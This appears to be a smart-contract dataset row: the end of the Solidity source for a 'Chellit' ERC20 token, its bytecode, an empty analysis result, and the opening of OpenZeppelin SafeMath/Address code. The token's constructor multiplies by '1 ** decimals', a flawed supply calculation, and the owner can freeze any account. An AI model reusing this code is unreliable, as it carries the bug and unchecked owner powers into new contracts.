* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address _spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
_allowance[owner][_spender] = amount;
emit Approval(owner, _spender, amount);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns(bool){
_transfer(msg.sender, _to, _value);
return true;
}
function burn(uint256 _value) public returns(bool){
require (LockList[msg.sender] == false,"ERC20: User Locked !");
uint256 stage;
stage=balanceOf[msg.sender].sub(_value, "ERC20: transfer amount exceeds balance");
require (stage >= LockedTokens[msg.sender],"ERC20: transfer amount exceeds Senders Locked Amount");
balanceOf[msg.sender]=balanceOf[msg.sender].sub(_value,"ERC20: Burn amount exceeds balance.");
totalSupply=totalSupply.sub(_value,"ERC20: Burn amount exceeds total supply");
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param Account address
*
* @param _value the amount of money to burn
*
* Safely check if total supply is not overdrawn
*/
function burnFrom(address Account, uint256 _value) public returns (bool success) {
require (LockList[msg.sender] == false,"ERC20: User Locked !");
require (LockList[Account] == false,"ERC20: Owner Locked !");
uint256 stage;
require(Account != address(0), "ERC20: Burn from the zero address");
//Safely substract amount to be burned from callers allowance
_approve(Account, msg.sender, _allowance[Account][msg.sender].sub(_value,"ERC20: burn amount exceeds allowance"));
//Do not allow burn if Accounts tokens are locked.
stage=balanceOf[Account].sub(_value,"ERC20: Transfer amount exceeds allowance");
require(stage>=LockedTokens[Account],"ERC20: Burn amount exceeds accounts locked amount");
balanceOf[Account] =stage ; // Subtract from the sender
//Deduct burn amount from totalSupply
totalSupply=totalSupply.sub(_value,"ERC20: Burn Amount exceeds totalSupply");
emit Burn(Account, _value);
emit Transfer(Account, address(0), _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
_transfer(_from, _to, _value);
_approve(_from,msg.sender,_allowance[_from][msg.sender].sub(_value,"ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
* Emits Approval Event
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
uint256 unapprovbal;
// Do not allow approval if amount exceeds locked amount
unapprovbal=balanceOf[msg.sender].sub(_value,"ERC20: Allowance exceeds balance of approver");
require(unapprovbal>=LockedTokens[msg.sender],"ERC20: Approval amount exceeds locked amount ");
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function allowance(address _owner,address _spender) public view returns(uint256){
return _allowance[_owner][_spender];
}
}
contract Chellit is owned, TOKENERC20 {
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor () TOKENERC20(
3000000000 * 1 ** uint256(decimals),
"Chellit",
"CHLT") public {
}
/**
* User Lock
*
* @param Account the address of account to lock for transaction
*
* @param mode true or false for lock mode
*
*/
function UserLock(address Account, bool mode) onlyOwner public {
LockList[Account] = mode;
}
/**
* Lock tokens
*
* @param Account the address of account to lock
*
* @param amount the amount of money to lock
*
*
*/
function LockTokens(address Account, uint256 amount) onlyOwner public{
LockedTokens[Account]=amount;
}
function UnLockTokens(address Account) onlyOwner public{
LockedTokens[Account]=0;
}
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461010c578063095ea7b31461019c57806311a5c3611461020f57806318160ddd1461026c5780631f846df41461029757806323b872dd14610300578063313ce5671461039357806342966c68146103c45780634723e1241461041757806350a8dbb71461046857806370a08231146104c357806379cc6790146105285780638da5cb5b1461059b57806395d89b41146105f2578063a26bddb414610682578063a9059cbb146106e7578063cae9ca511461075a578063dd62ed3e14610864578063f2fde38b146108e9575b600080fd5b34801561011857600080fd5b5061012161093a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610161578082015181840152602081019050610146565b50505050905090810190601f16801561018e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a857600080fd5b506101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d8565b604051808215151515815260200191505060405180910390f35b34801561021b57600080fd5b5061026a6004803603604081101561023257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610c5b565b005b34801561027857600080fd5b50610281610d7a565b6040518082815260200191505060405180910390f35b3480156102a357600080fd5b506102e6600480360360208110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d80565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b506103796004803603606081101561032357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da0565b604051808215151515815260200191505060405180910390f35b34801561039f57600080fd5b506103a8610eaf565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d057600080fd5b506103fd600480360360208110156103e757600080fd5b8101908080359060200190929190505050610ec2565b604051808215151515815260200191505060405180910390f35b34801561042357600080fd5b506104666004803603602081101561043a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611346565b005b34801561047457600080fd5b506104c16004803603604081101561048b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611452565b005b3480156104cf57600080fd5b50610512600480360360208110156104e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061155e565b6040518082815260200191505060405180910390f35b34801561053457600080fd5b506105816004803603604081101561054b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611576565b604051808215151515815260200191505060405180910390f35b3480156105a757600080fd5b506105b0611bd5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fe57600080fd5b50610607611bfa565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064757808201518184015260208101905061062c565b50505050905090810190601f1680156106745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068e57600080fd5b506106d1600480360360208110156106a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c98565b6040518082815260200191505060405180910390f35b3480156106f357600080fd5b506107406004803603604081101561070a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cb0565b604051808215151515815260200191505060405180910390f35b34801561076657600080fd5b5061084a6004803603606081101561077d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156107c457600080fd5b8201836020820111156107d657600080fd5b803590602001918460018302840111640100000000831117156107f857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cc7565b604051808215151515815260200191505060405180910390f35b34801561087057600080fd5b506108d36004803603604081101561088757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e4b565b6040518082815260200191505060405180910390f35b3480156108f557600080fd5b506109386004803603602081101561090c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ed2565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d05780601f106109a5576101008083540402835291602001916109d0565b820191906000526020600020905b8154815290600101906020018083116109b357829003601f168201915b505050505081565b600080610a8b83606060405190810160405280602c81526020017f45524332303a20416c6c6f77616e636520657863656564732062616c616e636581526020017f206f6620617070726f7665720000000000000000000000000000000000000000815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b9050600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110151515610b6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001807f45524332303a20417070726f76616c20616d6f756e742065786365656473206c81526020017f6f636b656420616d6f756e74200000000000000000000000000000000000000081525060400191505060405180910390fd5b82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60045481565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610dad848484612166565b610ea48433610e9f85606060405190810160405280602881526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206181526020017f6c6c6f77616e6365000000000000000000000000000000000000000000000000815250600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b61285f565b600190509392505050565b600360009054906101000a900460ff1681565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610f8b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f45524332303a2055736572204c6f636b6564202100000000000000000000000081525060200191505060405180910390fd5b600061103d83606060405190810160405280602681526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206281526020017f616c616e63650000000000000000000000000000000000000000000000000000815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b9050600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015151561111c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001807f45524332303a207472616e7366657220616d6f756e742065786365656473205381526020017f656e64657273204c6f636b656420416d6f756e7400000000000000000000000081525060400191505060405180910390fd5b6111cc83606060405190810160405280602381526020017f45524332303a204275726e20616d6f756e7420657863656564732062616c616e81526020017f63652e0000000000000000000000000000000000000000000000000000000000815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128283606060405190810160405280602781526020017f45524332303a204275726e20616d6f756e74206578636565647320746f74616c81526020017f20737570706c79000000000000000000000000000000000000000000000000008152506004546120a49092919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611516576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60056020528060005260406000206000915090505481565b6000801515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f45524332303a2055736572204c6f636b6564202100000000000000000000000081525060200191505060405180910390fd5b60001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f45524332303a204f776e6572204c6f636b65642021000000000000000000000081525060200191505060405180910390fd5b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f45524332303a204275726e2066726f6d20746865207a65726f2061646472657381526020017f730000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6118ca84336118c586606060405190810160405280602481526020017f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7781526020017f616e636500000000000000000000000000000000000000000000000000000000815250600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b61285f565b61197a83606060405190810160405280602881526020017f45524332303a205472616e7366657220616d6f756e742065786365656473206181526020017f6c6c6f77616e6365000000000000000000000000000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b9050600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110151515611a59576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f45524332303a204275726e20616d6f756e742065786365656473206163636f7581526020017f6e7473206c6f636b656420616d6f756e7400000000000000000000000000000081525060400191505060405180910390fd5b80600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b1083606060405190810160405280602681526020017f45524332303a204275726e20416d6f756e74206578636565647320746f74616c81526020017f537570706c7900000000000000000000000000000000000000000000000000008152506004546120a49092919063ffffffff16565b6004819055508373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5846040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c905780601f10611c6557610100808354040283529160200191611c90565b820191906000526020600020905b815481529060010190602001808311611c7357829003601f168201915b505050505081565b60086020528060005260406000206000915090505481565b6000611cbd338484612166565b6001905092915050565b600080849050611cd785856109d8565b15611e42578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611dd1578082015181840152602081019050611db6565b50505050905090810190601f168015611dfe5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611e2057600080fd5b505af1158015611e34573d6000803e3d6000fd5b505050506001915050611e44565b505b9392505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45524332303a205265717569726564204f776e6572202100000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612061576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001807f4552433230204e6577204f776e65722063616e6e6f74206265207a65726f206181526020017f646472657373000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008383111582901515612153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121185780820151818401526020810190506120fd565b50505050905090810190601f1680156121455780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f45524332303a207472616e736665722066726f6d20746865207a65726f20616481526020017f647265737300000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156122fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001807f45524332303a207472616e7366657220746f20746865207a65726f206164647281526020017f657373000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60001515600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156123c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2043616c6c6572204c6f636b656420210000000000000000000081525060200191505060405180910390fd5b60001515600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561248d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f45524332303a2053656e646572204c6f636b656420210000000000000000000081525060200191505060405180910390fd5b60001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515612555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f45524332303a2052656365697069656e74204c6f636b6564202100000000000081525060200191505060405180910390fd5b61260582606060405190810160405280602681526020017f45524332303a207472616e7366657220616d6f756e742065786365656473206281526020017f616c616e63650000000000000000000000000000000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49092919063ffffffff16565b9050600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481101515156126e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001807f45524332303a207472616e7366657220616d6f756e742065786365656473205381526020017f656e64657273204c6f636b656420416d6f756e7400000000000000000000000081525060400191505060405180910390fd5b80600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127b1826040805190810160405280601881526020017f45524332303a204164646974696f6e206f766572666c6f770000000000000000815250600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae09092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561292a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f45524332303a20617070726f76652066726f6d20746865207a65726f2061646481526020017f726573730000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156129f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f45524332303a20617070726f766520746f20746865207a65726f20616464726581526020017f737300000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b60008083850190508481101583901515612b95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b5a578082015181840152602081019050612b3f565b50505050905090810190601f168015612b875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5080915050939250505056fea165627a7a723058201f05c331c8eac9b47603e695c423ef7463f96985025289e2dfa9da161a41d4c10029
|
{"success": true, "error": null, "results": {}}
| 7,733 |
0xb9947feef7fad941682d33768638a1823472f67b
|
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
